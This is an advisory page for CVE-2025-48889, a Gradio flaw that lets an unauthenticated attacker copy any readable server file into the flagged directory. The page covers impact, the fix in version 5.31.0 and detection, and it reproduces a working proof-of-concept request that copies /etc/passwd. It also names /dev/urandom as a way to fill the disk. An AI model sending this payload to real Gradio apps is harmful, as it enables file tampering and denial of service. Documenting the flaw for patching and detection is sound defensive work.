NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Gradio

CVE-2025-48889: Gradio Allows Unauthorized File Copy via Path Manipulation

mediumCVSS 3.1 5.3GHSA-8jw3-6x8j-v96g

CVE-2025-48889 lets an unauthenticated attacker copy any file the Gradio process can read into Gradio's flagged directory. The attacker cannot read the copy, but can fill the disk, for example by copying /dev/urandom. Gradio versions before 5.31.0 are affected; upgrade to 5.31.0.

Published May 29, 2025 · Updated Jun 5, 2026 · Analysis Nov 1, 2026

What an attacker can do

Gradio's flagging feature does not validate file paths. An attacker posts a JSON payload to /gradio_api/run/predict with a FileData object whose path field names any file on the server. Component.flag() builds a GradioDataModel, and FileData._copy_to_dir() calls shutil.copy on that path with no check. The reporter's proof of concept copies /etc/passwd into the flagged directory.

The attacker only needs network access to the app. No login is required, and apps launched with share=True are reachable through a public Gradio link. The copies are not returned to the attacker, so the advisory rates confidentiality impact as none. The real harm is availability: copying a large or endless file, such as /dev/urandom, fills the disk and can take down the app or its host. The CVSS 3.1 score is 5.3 with low availability impact.

A copied sensitive file (keys, .env, model weights) sits in a directory that may be exposed to other users or backups, which raises the risk if that directory is served or synced.

Who is affected

The pip package gradio before 5.31.0, for apps that run with the flagging feature in use and are reachable by untrusted clients, including apps using share=True. Check the version:

pip show gradio

Also inspect the flagged directory (by default a flagged folder next to the app) for files that should not be there.

gradio

Ecosystem
PyPI
Affected
< 5.31.0
Fixed in
5.31.0
Check
pip show gradio

How to fix it

Upgrade to Gradio 5.31.0 or later:

pip install --upgrade "gradio>=5.31.0"

The advisory names no workaround. Until you upgrade, avoid public share links, keep the app behind authentication or a private network, and run the process as a user with limited file access and a disk quota on the flagged directory.

How to tell if you were hit

Look in web logs for POST requests to /gradio_api/run/predict whose JSON body has a FileData object with a path outside Gradio's temp and upload directories, such as /etc/passwd or /dev/urandom. Check the flagged directory for unexpected copies of system or application files, and watch disk usage on the host for sudden growth.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.

Description

The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradio_api/run/predict endpoint to trigger these file copies.

Source: User-controlled path parameter in the flagging functionality JSON payload Sink: shutil.copy operation in FileData._copy_to_dir() method

The vulnerable code flow:

  1. A JSON payload is sent to the /gradio_api/run/predict endpoint
  2. The path field within FileData object can reference any file on the system
  3. When processing this request, the Component.flag() method creates a GradioDataModel object
  4. The FileData._copy_to_dir() method uses this path without proper validation:
def _copy_to_dir(self, dir: str) -> FileData:
    pathlib.Path(dir).mkdir(exist_ok=True)
    new_obj = dict(self)

    if not self.path:
        raise ValueError("Source file path is not set")
    new_name = shutil.copy(self.path, dir)  # vulnerable sink
    new_obj["path"] = new_name
    return self.__class__(**new_obj)
  1. The lack of validation allows copying any file the Gradio process can read

PoC

The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio's flagged directory:

Setup a Gradio app:

import gradio as gr

def image_classifier(inp):
    return {'cat': 0.2, 'dog': 0.8}

test = gr.Interface(fn=image_classifier, inputs="image", outputs="label")

test.launch(share=True)

Run the PoC:

import requests

url = "https://[your-gradio-app-url]/gradio_api/run/predict"  
headers = {
    "Content-Type": "application/json",  
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" 
}

payload = {
    "data": [
        {
            "path": "/etc/passwd",  
            "url": "[your-gradio-app-url]",
            "orig_name": "network_config", 
            "size": 5000,  
            "mime_type": "text/plain", 
            "meta": {
                "_type": "gradio.FileData"  
            }
        },
        {}  
    ],
    "event_data": None,
    "fn_index": 4, 
    "trigger_id": 11, 
    "session_hash": "test123"  
}

response = requests.post(url, headers=headers, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")

Credited to jjjutla, nkoorty, pventuzelo.

Questions

Which Gradio version fixes CVE-2025-48889?

5.31.0. Versions before it are affected.

Can the attacker read the files they copy?

No. The advisory says they cannot read the copied files; the harm is denial of service through disk exhaustion and copying files into a new location.

Does the attacker need to log in?

No. The CVSS 3.1 vector has no privileges and no user interaction.

Which endpoint is used?

POST /gradio_api/run/predict with a crafted FileData path in the data array.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Gradio vulnerabilities

All Gradio entries